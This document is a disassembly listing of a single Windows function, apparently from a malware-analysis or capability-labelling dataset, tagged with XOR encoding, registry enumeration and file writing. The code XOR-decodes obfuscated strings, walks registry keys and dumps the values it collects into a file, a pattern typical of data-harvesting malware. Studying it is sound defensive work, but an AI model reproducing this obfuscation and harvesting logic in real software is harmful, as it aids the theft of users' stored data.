Function at 0x40f1e5
Capabilities:
Encode data using xor
Query or enumerate registry key
Write file on windows

Disassembly:
push 0x614
mov eax, 0x41a9b2
call fcn.0041974f
movaps xmm0, xmmword [0x402050]
xor ebx, ebx
movups xmmword [ebp - 0x4dc], xmm0
mov ecx, ebx
mov dword [ebp - 0x4bc], 0x34020d63
movaps xmm0, xmmword [0x402430]
movups xmmword [ebp - 0x4cc], xmm0
mov dword [ebp - 0x4b8], 0x3e382222
mov word [ebp - 0x4b4], 0x223f
mov byte [ebp - 0x4b2], bl
mov al, byte [ebp - 0x4dc]
xor byte [ebp + ecx - 0x4db], al
inc ecx
cmp ecx, 0x29
jb 0x40f237
lea eax, [ebp - 0x4db]
mov byte [ebp - 0x4b2], bl
push eax
lea ecx, [ebp - 0x56c]
call fcn.004035da
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x610]
cmp dword [ebp - 0x558], 0xf
lea eax, [ebp - 0x56c]
push ecx
cmova eax, dword [ebp - 0x56c]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x40f9b0
push 0x400
lea eax, [ebp - 0x414]
push eax
push 0
jmp 0x40f990
lea eax, [ebp - 0x414]
inc ebx
push eax
lea ecx, [ebp - 0x59c]
call fcn.004035da
mov esi, eax
push ecx
lea edx, [ebp - 0x56c]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x5b4]
call fcn.0040491f
pop ecx
push esi
push eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x488]
push dword [ebp - 0x610]
call fcn.00409dc2
cmp dword [ebp - 0x474], 0xf
lea ecx, [ebp - 0x614]
lea eax, [ebp - 0x488]
cmova eax, dword [ebp - 0x488]
push ecx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [ebp - 0x488]
mov esi, eax
call fcn.0040357e
lea ecx, [ebp - 0x5b4]
call fcn.0040357e
lea ecx, [ebp - 0x59c]
mov byte [ebp - 4], 0
call fcn.0040357e
test esi, esi
jne 0x40f983
xor eax, eax
lea edi, [ebp - 0x554]
stosd dword es:[edi], eax
xor edx, edx
push 0xf
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x544], edx
lea edi, [ebp - 0x53c]
mov dword [ebp - 0x540], ecx
mov byte [ebp - 0x554], dl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x52c], edx
lea edi, [ebp - 0x524]
mov dword [ebp - 0x528], ecx
mov byte [ebp - 0x53c], dl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x514], edx
lea edi, [ebp - 0x50c]
mov dword [ebp - 0x510], ecx
mov byte [ebp - 0x524], dl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x4fc], edx
mov dword [ebp - 0x4f8], ecx
mov byte [ebp - 0x50c], dl
xor eax, eax
lea edi, [ebp - 0x470]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x460], edx
mov dword [ebp - 0x45c], ecx
mov byte [ebp - 0x470], dl
xor eax, eax
lea edi, [ebp - 0x458]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x448], edx
mov dword [ebp - 0x444], ecx
mov byte [ebp - 0x458], dl
xor eax, eax
lea edi, [ebp - 0x4f4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x4e4], edx
mov dword [ebp - 0x4e0], ecx
mov byte [ebp - 0x4f4], dl
sub esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x618], esp
mov edi, ecx
push 0xf
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ecx + 0x10], edx
pop esi
mov dword [ecx + 0x14], esi
mov byte [ecx], dl
mov byte [ebp - 4], 7
mov cl, 0x4b
mov dword [ebp - 0x428], 0x3824034b
mov eax, edx
mov dword [ebp - 0x424], 0x262a053f
mov word [ebp - 0x420], 0x2e
xor byte [ebp + eax - 0x427], cl
inc eax
cmp eax, 8
jae 0x40f46f
mov cl, byte [ebp - 0x428]
jmp 0x40f45a
sub esp, 0x18
mov byte [ebp - 0x41f], dl
lea eax, [ebp - 0x427]
mov ecx, esp
push eax
call fcn.004035da
mov ecx, dword [ebp - 0x614]
lea edx, [ebp - 0x470]
mov byte [ebp - 4], 6
call fcn.00413acc
add esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x61c], esp
mov edi, ecx
xor edx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ecx + 0x10], edx
mov dword [ecx + 0x14], esi
mov byte [ecx], dl
mov byte [ebp - 4], 8
mov cl, 0x6c
mov dword [ebp - 0x434], 0x91f396c
mov eax, edx
mov dword [ebp - 0x430], 0x10d221e
mov word [ebp - 0x42c], 9
xor byte [ebp + eax - 0x433], cl
inc eax
cmp eax, 8
jae 0x40f4f2
mov cl, byte [ebp - 0x434]
jmp 0x40f4dd
sub esp, 0x18
mov byte [ebp - 0x42b], dl
lea eax, [ebp - 0x433]
mov ecx, esp
push eax
call fcn.004035da
mov ecx, dword [ebp - 0x614]
lea edx, [ebp - 0x458]
mov byte [ebp - 4], 6
call fcn.00413acc
add esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x61c], esp
mov edi, ecx
xor edx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ecx + 0x10], edx
mov dword [ecx + 0x14], esi
mov byte [ecx], dl
mov byte [ebp - 4], 9
mov cl, 0x79
mov dword [ebp - 0x440], 0xa182979
mov eax, edx
mov dword [ebp - 0x43c], 0xb160e0a
mov word [ebp - 0x438], 0x1d
xor byte [ebp + eax - 0x43f], cl
inc eax
cmp eax, 8
jae 0x40f575
mov cl, byte [ebp - 0x440]
jmp 0x40f560
sub esp, 0x18
mov byte [ebp - 0x437], dl
lea eax, [ebp - 0x43f]
mov ecx, esp
push eax
call fcn.004035da
mov ecx, dword [ebp - 0x614]
lea edx, [ebp - 0x4f4]
mov byte [ebp - 4], 6
call fcn.00413acc
add esp, 0x30
cmp dword [ebp - 0x460], 0
je 0x40f947
cmp dword [ebp - 0x448], 0
je 0x40f947
mov al, 0x63
mov dword [ebp - 0x41c], 0x716c5a63
mov dword [ebp - 0x418], 0x534656
xor ecx, ecx
movsx eax, al
and eax, 0x8000000f
jns 0x40f5e5
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41b], al
inc ecx
cmp ecx, 6
jae 0x40f5fa
mov al, byte [ebp - 0x41c]
jmp 0x40f5d6
lea ecx, [ebp - 0x41b]
mov byte [ebp - 0x415], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f60a
sub ecx, edx
lea eax, [ebp - 0x41b]
push ecx
push eax
lea ecx, [ebp - 0x554]
call fcn.0040c331
cmp dword [ebp - 0x45c], esi
lea eax, [ebp - 0x470]
push dword [ebp - 0x460]
cmova eax, dword [ebp - 0x470]
lea ecx, [ebp - 0x53c]
push eax
call fcn.0040c331
cmp dword [ebp - 0x444], esi
lea eax, [ebp - 0x458]
push dword [ebp - 0x448]
cmova eax, dword [ebp - 0x458]
lea ecx, [ebp - 0x524]
push eax
call fcn.0040c331
cmp dword [ebp - 0x4e0], esi
lea eax, [ebp - 0x4f4]
push dword [ebp - 0x4e4]
cmova eax, dword [ebp - 0x4f4]
lea ecx, [ebp - 0x50c]
push eax
call fcn.0040c331
movaps xmm0, xmmword [0x4020c0]
xor ecx, ecx
movups xmmword [ebp - 0x4b0], xmm0
mov dword [ebp - 0x490], 0x314f5c4c
movaps xmm0, xmmword [0x402450]
movups xmmword [ebp - 0x4a0], xmm0
mov dword [ebp - 0x48c], 0x6b676b
mov al, byte [ebp - 0x4b0]
xor byte [ebp + ecx - 0x4af], al
inc ecx
cmp ecx, 0x26
jb 0x40f6c7
lea eax, [ebp - 0x4af]
mov byte [ebp - 0x489], 0
push eax
lea ecx, [ebp - 0x584]
call fcn.004035da
push 0
push 0x80
push 4
push 0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x584]
cmp dword [ebp - 0x570], esi
push 2
cmova eax, dword [ebp - 0x584]
push 4
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40f93c
mov al, 0x5a
mov byte [ebp - 0x5fe], 0
xor al, 0x26
mov byte [ebp - 0x600], 0x26
mov byte [ebp - 0x5ff], al
lea edx, [ebp - 0x554]
lea eax, [ebp - 0x5ff]
mov byte [ebp - 0x5fe], 0
push eax
lea ecx, [ebp - 0x4a0]
call fcn.00409d3e
pop ecx
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x53c]
cmp dword [ebp - 0x528], 0xf
push dword [ebp - 0x52c]
cmova ecx, dword [ebp - 0x53c]
push ecx
mov ecx, eax
call fcn.00404849
push eax
lea ecx, [ebp - 0x5b4]
call fcn.004035a1
mov al, 0x1b
mov byte [ebp - 4], 0xc
xor al, 0x67
mov byte [ebp - 0x602], 0
mov byte [ebp - 0x603], al
lea edx, [ebp - 0x5b4]
lea eax, [ebp - 0x603]
mov byte [ebp - 0x604], 0x67
push eax
lea ecx, [ebp - 0x5fc]
mov byte [ebp - 0x602], 0
call fcn.00405ea5
pop ecx
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x524]
cmp dword [ebp - 0x510], 0xf
push dword [ebp - 0x514]
cmova ecx, dword [ebp - 0x524]
push ecx
mov ecx, eax
call fcn.00404849
push eax
lea ecx, [ebp - 0x59c]
call fcn.004035a1
mov al, 0x45
mov byte [ebp - 4], 0xe
xor al, 0x39
mov byte [ebp - 0x606], 0
mov byte [ebp - 0x607], al
lea edx, [ebp - 0x59c]
lea eax, [ebp - 0x607]
mov byte [ebp - 0x608], 0x39
push eax
lea ecx, [ebp - 0x5e4]
mov byte [ebp - 0x606], 0
call fcn.00405ea5
pop ecx
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x50c]
cmp dword [ebp - 0x4f8], 0xf
push dword [ebp - 0x4fc]
cmova ecx, dword [ebp - 0x50c]
push ecx
mov ecx, eax
call fcn.00404849
push eax
lea ecx, [ebp - 0x5cc]
call fcn.004035a1
mov al, 0x7e
mov byte [ebp - 4], 0x10
mov byte [ebp - 0x60c], al
mov cl, 0x18
movsx eax, al
mov byte [ebp - 0x60a], 0
and eax, 0x8000000f
jns 0x40f895
dec eax
or eax, 0xfffffff0
inc eax
sub cl, al
mov byte [ebp - 0x60a], 0
lea eax, [ebp - 0x60b]
mov byte [ebp - 0x60b], cl
push eax
lea edx, [ebp - 0x5cc]
lea ecx, [ebp - 0x488]
call fcn.00405ea5
pop ecx
lea ecx, [ebp - 0x5cc]
call fcn.0040357e
lea ecx, [ebp - 0x5e4]
call fcn.0040357e
lea ecx, [ebp - 0x59c]
call fcn.0040357e
lea ecx, [ebp - 0x5fc]
call fcn.0040357e
lea ecx, [ebp - 0x5b4]
call fcn.0040357e
lea ecx, [ebp - 0x4a0]
call fcn.0040357e
cmp dword [ebp - 0x474], 0xf
lea ecx, [ebp - 0x620]
push 0
push ecx
push dword [ebp - 0x478]
lea eax, [ebp - 0x488]
cmova eax, dword [ebp - 0x488]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x488]
call fcn.0040357e
lea ecx, [ebp - 0x584]
call fcn.0040357e
push dword [ebp - 0x614]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x4f4]
call fcn.0040357e
lea ecx, [ebp - 0x458]
call fcn.0040357e
lea ecx, [ebp - 0x470]
call fcn.0040357e
lea ecx, [ebp - 0x554]
mov byte [ebp - 4], 0
call fcn.0040f9c1
push 0x400
lea eax, [ebp - 0x414]
push eax
push ebx
push dword [ebp - 0x610]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x40f2a7
push dword [ebp - 0x610]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x56c]
call fcn.0040357e
call fcn.0041970d
ret